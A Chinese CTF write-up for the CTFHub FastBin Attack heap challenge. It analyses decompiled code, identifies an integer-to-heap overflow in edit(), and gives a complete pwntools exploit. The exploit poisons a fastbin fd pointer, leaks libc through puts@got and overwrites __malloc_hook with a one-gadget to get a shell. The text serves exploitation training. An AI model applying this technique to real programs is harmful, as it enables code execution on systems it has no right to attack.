【详解】CTFHUB-FastBin Attack

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原文链接：【详解】CTFHUB-FastBin Attack

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看雪论坛作者ID：LeaMov

一、程序分析
IDA静态分析

伪代码分析


main()函数

1. <font size="3" face="Tahoma">int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
   
2. {
   
3.   init(argc, argv, envp);
   
4.   interface();
   
5. }
   
6. void __noreturn interface()
   
7. {
   
8.   int choice; // [rsp+4h] [rbp-Ch] BYREF
   
9.   unsigned __int64 v1; // [rsp+8h] [rbp-8h]
   
10. 
    
11.   v1 = __readfsqword(0x28u);
    
12.   while ( 1 )
    
13.   {
    
14.     while ( 1 )
    
15.     {
    
16.       menu();// 打印菜单;输入1：申请heap；输入2：释放heap；输入3：打印Heap；输入4：编辑Heap
    
17.       __isoc99_scanf("%d", &choice);
    
18.       if ( choice != 1 )
    
19.         break;
    
20.       add();//申请heap，固定大小0x60，最多申请10个
    
21.     }
    
22.     switch ( choice )
    
23.     {
    
24.       case 2:
    
25.         delete();//释放heap，不清空heap，但是heapList的指针会置0
    
26.         break;
    
27.       case 3:
    
28.         show();//printf("%s",heapList[index]->heap)
    
29.         break;
    
30.       case 4:
    
31.         edit();//编辑heap中内容，有长度检查，但不完全有:) !!!EXP Point!!!
    
32.         break;
    
33.       default:
    
34.         exit(-1);
    
35.     }
    
36.   }
    
37. }</font>

复制代码

add()函数

1. <font size="3" face="Tahoma">unsigned __int64 add()
   
2. {
   
3.   unsigned int i; // [rsp+8h] [rbp-1018h]
   
4.   unsigned int index; // [rsp+Ch] [rbp-1014h]
   
5.   char v3[4096]; // [rsp+10h] [rbp-1010h] BYREF
   
6.   unsigned __int64 v4; // [rsp+1018h] [rbp-8h]
   
7. 
   
8.   v4 = __readfsqword(0x28u);
   
9.   memset(v3, 0, sizeof(v3));
   
10.   for ( i = 0; i <= 9; ++i )
    
11.   {
    
12.     if ( !*(&heapList + i) )                    // 检测heapList下哪个索引没有使用
    
13.     {
    
14.       index = i;
    
15.       break;
    
16.     }
    
17.   }
    
18.   if ( i == 11 )                                // 最多只能申请10个
    
19.   {
    
20.     puts("wrong");
    
21.     exit(0);
    
22.   }
    
23.   *(&heapList + index) = malloc(0x60uLL);       // 固定申请0x60字节并存放于全局变量heapList中
    
24.   Size[index] = 96;//没什么D用
    
25.   puts("Done");
    
26.   return __readfsqword(0x28u) ^ v4;
    
27. }</font>

复制代码

delete()函数

1. <font size="3" face="Tahoma">unsigned __int64 delete()
   
2. {
   
3.   unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
   
4.   unsigned __int64 v2; // [rsp+8h] [rbp-8h]
   
5. 
   
6.   v2 = __readfsqword(0x28u);
   
7.   puts("Index:");
   
8.   __isoc99_scanf("%d", &index);
   
9.   if ( index > 0xB )
   
10.   {
    
11.     puts("wrong");
    
12.     exit(0);
    
13.   }
    
14.   free(*(&heapList + index));
    
15.   *(&heapList + index) = 0LL;//heap指针被置零了，没法double free
    
16.   Size[index] = 0;
    
17.   return __readfsqword(0x28u) ^ v2;
    
18. }
    
19. </font>

复制代码

show()函数

1. <font size="3" face="Tahoma">unsigned __int64 show()
   
2. {
   
3.   unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
   
4.   unsigned __int64 v2; // [rsp+8h] [rbp-8h]
   
5. 
   
6.   v2 = __readfsqword(0x28u);
   
7.   puts("Index:");
   
8.   __isoc99_scanf("%d", &index);
   
9.   if ( *(&heapList + index) )
   
10.     printf("Content: %s\n", (const char *)*(&heapList + index));//从堆指针起始按字符串打印内容
    
11.   return __readfsqword(0x28u) ^ v2;
    
12. }</font>

复制代码

edit()函数【利用点-堆溢出】

1. <font size="3" face="Tahoma">unsigned __int64 edit()
   
2. {
   
3.   int readLength; // [rsp+0h] [rbp-10h] BYREF
   
4.   unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
   
5.   unsigned __int64 v3; // [rsp+8h] [rbp-8h]
   
6. 
   
7.   v3 = __readfsqword(0x28u);
   
8.   puts("Index:");
   
9.   __isoc99_scanf("%d", &index);//用户输入要编辑的heap索引
   
10.   puts("Size:");
    
11.   __isoc99_scanf("%d", &readLength);//用户输入要编辑的长度
    
12.   if ( readLength <= 96 )//有长度检查，但不完全有，有符号数比较输入负数绕过
    
13.   {
    
14.     if ( *(&heapList + index) )
    
15.     {
    
16.       puts("Content:");
    
17.       read(0, *(&heapList + index), (unsigned int)readLength);//read长度参数是无符号数
    
18.     }
    
19.     else
    
20.     {
    
21.       puts("wrong");
    
22.     }
    
23.   }
    
24.   else
    
25.   {
    
26.     puts("wrong!");
    
27.   }
    
28.   return __readfsqword(0x28u) ^ v3;
    
29. }</font>

复制代码

GDB调试分析

根据IDA静态分析已知存在堆溢出漏洞，且申请的堆大小固定，释放后会进入fastbins，所以考虑通过篡改fastbin->fd来申请fakeChunk，现查找可利用的fd。

1. <font size="3" face="Tahoma">pwndbg> x/30gx 0x6020c0-0x50
   
2. 0x602070:    0x0000000000000000    0x0000000000000000
   
3. 0x602080 <stdout@@GLIBC_2.2.5>:    0x00007ffff7bc4620    0x0000000000000000
   
4. 0x602090 <stdin@@GLIBC_2.2.5>:    0x00007ffff7bc38e0    0x0000000000000000
   
5. 0x6020a0 <stderr@@GLIBC_2.2.5>:    0x00007ffff7bc4540    0x0000000000000000
   
6. 0x6020b0:    0x0000000000000000    0x0000000000000000
   
7. 0x6020c0 <heapList>:    0x0000000000000000    0x0000000000000000
   
8. 0x6020d0 <heapList+16>:    0x0000000000000000    0x0000000000000000
   
9. 0x6020e0 <heapList+32>:    0x0000000000000000    0x0000000000000000
   
10. 0x6020f0 <heapList+48>:    0x0000000000000000    0x0000000000000000
    
11. 0x602100 <heapList+64>:    0x0000000000000000    0x0000000000000000
    
12. 0x602110:    0x0000000000000000    0x0000000000000000
    
13. 0x602120 <Size>:    0x0000000000000000    0x0000000000000000
    
14. 0x602130 <Size+16>:    0x0000000000000000    0x0000000000000000
    
15. 0x602140 <Size+32>:    0x0000000000000000    0x0000000000000000
    
16. </font>

复制代码

其中0x6020c0是全局变量heapList的地址，其中存着每一个heap的指针，如果可以将该指针修改就可以达到任意读/写，并且在heapList上方存在可利用的内容，通过字节错位将fd指针定于0x60209d，内存如下：

1. <font size="3" face="Tahoma">pwndbg> x/30gx 0x60209d
   
2. 0x60209d:    0xfff7bc4540000000    0x000000000000007f
   
3. 0x6020ad:    0x0000000000000000    0x0000000000000000
   
4. 0x6020bd:    0x0000000000000000    0x0000000000000000
   
5. 0x6020cd <ptr+13>:    0x0000000000000000    0x0000000000000000
   
6. 0x6020dd <ptr+29>:    0x0000000000000000    0x0000000000000000
   
7. 0x6020ed <ptr+45>:    0x0000000000000000    0x0000000000000000
   
8. 0x6020fd <ptr+61>:    0x0000000000000000    0x0000000000000000
   
9. 0x60210d <ptr+77>:    0x0000000000000000    0x0000000000000000
   
10. 0x60211d:    0x0000000000000000    0x0000000000000000
    
11. 0x60212d <Size+13>:    0x0000000000000000    0x0000000000000000
    
12. 0x60213d <Size+29>:    0x0000000000000000    0x0000000000000000</font>

复制代码

可以看到若chunk->fd=0x60209d时，size字段为0x7f即0111 1111，而其中末4位为标志位高到低分别是PREV_INUSE IS_MMAPPED NON_MAIN_ARENA SIZE_BITS，既实际大小为0111 0000即0x70，由于我们申请的heap大小固定为0x60，加上字段大小后即0x70，最终的fastbins大小分类一致，可用作构造FakeChunk。


分析总结
根据分析可以总结出一下三点：
① 申请的heap大小固定为0x60，释放后进入fastbins均属于大小分类0x70。
② edit()函数存在整数溢出导致的堆溢出漏洞。
③ 在全局变量heapList上方存在可用于构造FakeChunk的内存区。


二、漏洞利用及原理
可利用漏洞
·整数溢出漏洞
·堆溢出漏洞

1.堆溢出之FastBinAttack-Arbitrary Alloc
利用思路

根据分析已知：
所有根据程序菜单申请并释放的heap最终都将进入fastbins->0x70分类链表中。

edit()函数存在堆溢出导致可以随意篡改下方其它chunk的字段和内容。

全局变量heapList上方存在可利用内存区用以构造FakeChunk。

利用流程

根据上述条件准备进行以下攻击：
① 申请3个heap(大小均为0x60)。

② 先后释放#2和#1。

③ 通过edit()函数溢出并篡改heap#1的fd指针指向0x60209d。

④ 重新申请回#1和#2，此时#2已指向fakeChunk->0x60209d。

⑤ 通过edit()修改heap#2填充13字节的payload到达0x6020C0既heapList[0]并向其中填入puts@got。

⑥ 通过show()函数打印出*heapList[0]即puts函数地址并计算出libcBase。

⑦ 通过edit()再次修改heap#2以篡改heapList[0]值为&__malloc_hook或&__free_hook。

⑧ 通过edit()修改heap#0以篡改__malloc_hook或__free_hook以执行oneGadget。


利用原理

对于glibc堆管理的各类bins详细请参见
CTF竞赛权威指南(Pwn篇)->11.1.3章

以下为简述:

程序中申请的大小为0x60的heap释放后均会进入fastbins->0x70分类中（由于glibc版本问题所以并不会进入tcache，调试时请注意使用的glibc版本）；

fastbins是一个后进先出的单链表，除分类中第一个进入的chunk外的每一个chunk->fd字段都指向上一个进入fastbins的chunk，也即当前chunk#1被弹出后下一个应该被弹出的chunk#0，既然这样我们就可以通过申请连续的chunk#0 chunk#1 chunk2并按顺序释放#chunk2、#chunk1，此时的chunk1->fd为#chunk2，意为当我们再次申请大小为0x60时会弹出chunk1并将chunk->fd作为下一个预备弹出的chunk。

此时我们通过edit()编辑chunk#0并且使用堆溢出篡改chunk1->fd使其指向一个fakeChunk，以达到读写fakeChunk的目的；注意：该FakeChunk->size需要符合fastbins的大小分类即0x70，根据上述分析已知在全局变量heapList上方存在符合条件的FakeChunk内存区，所以我们将chunk#1->fd指向该内存区，将其申请到手后可即可结合show() edit()进行任意读写。

可以任意读后即可泄露LibcBase，将函数got地址填入heapList[0]后使用show()函数即可达到泄露，而将&__malloc_hook或&__free_hook填入即可篡改此两个hook的指向，此两个hook的指向在分别在malloc()和free()函数调用时被调用，所以我们可以向其中填入oneGadget并再次调用add()或者delete()使其执行并且getShell。


三、Exploit

1. <font size="3" face="Tahoma">from pwn import *
   
2. 
   
3. prog = "./pwn"
   
4. 
   
5. local = False
   
6. context(os='linux', arch='amd64', log_level='debug')
   
7. 
   
8. elf = ELF("./pwn")
   
9. libc = ELF("./libc-2.23.so")
   
10. 
    
11. if local:
    
12.     p = process(prog)
    
13.     libc = ELF("/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")
    
14.     #gdb.attach(p)
    
15.     sleep(1)
    
16. else:
    
17.     p = remote("challenge-9647de804cb6da45.sandbox.ctfhub.com",34306)
    
18. 
    
19. def add():
    
20.     p.sendlineafter(">> ","1")
    
21. 
    
22. def show(index):
    
23.     p.sendlineafter(">> ","3")
    
24.     p.sendlineafter("Index:\n",str(index))
    
25. 
    
26. def dele(index):
    
27.     p.sendlineafter(">> ","2")
    
28.     p.sendlineafter("Index:\n",str(index))
    
29. 
    
30. def edit(index,content):
    
31.     p.sendlineafter(">> ","4")
    
32.     p.sendlineafter("Index:\n",str(index))
    
33.     p.sendlineafter("Size:\n","-1")
    
34.     p.sendafter("Content:\n",content)
    
35. 
    
36. add()#0
    
37. add()#1
    
38. add()#2
    
39. 
    
40. dele(2)
    
41. dele(1)
    
42. 
    
43. payload = b"\x99"*0x60
    
44. payload += b"\x11"*8
    
45. payload += p64(0x71)
    
46. payload += p64(0x60209d)
    
47. edit(0,payload)
    
48. 
    
49. add()#1
    
50. add()#2 fakeChunk->heapList-0x13
    
51. 
    
52. payload = b"\x66"*0x13
    
53. payload += p64(elf.got['puts'])
    
54. edit(2,payload) #此时heap#0指向puts@got
    
55. 
    
56. show(0)
    
57. putsAddress = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
    
58. print("putsAddress ===========> {}".format(hex(putsAddress)))
    
59. 
    
60. libcBase = putsAddress - libc.sym['puts']
    
61. mallocHook = libcBase + libc.sym['__malloc_hook']
    
62. 
    
63. payload = b"\x66"*0x13
    
64. payload += p64(mallocHook)
    
65. edit(2,payload) #此时heap#0指向mallocHook
    
66. 
    
67. oneGadget = 0x45226+libcBase
    
68. 
    
69. edit(0,p64(oneGadget))#篡改mallocHook指向oneGadget
    
70. add()
    
71. 
    
72. p.interactive()
    
73. p.close()</font>

复制代码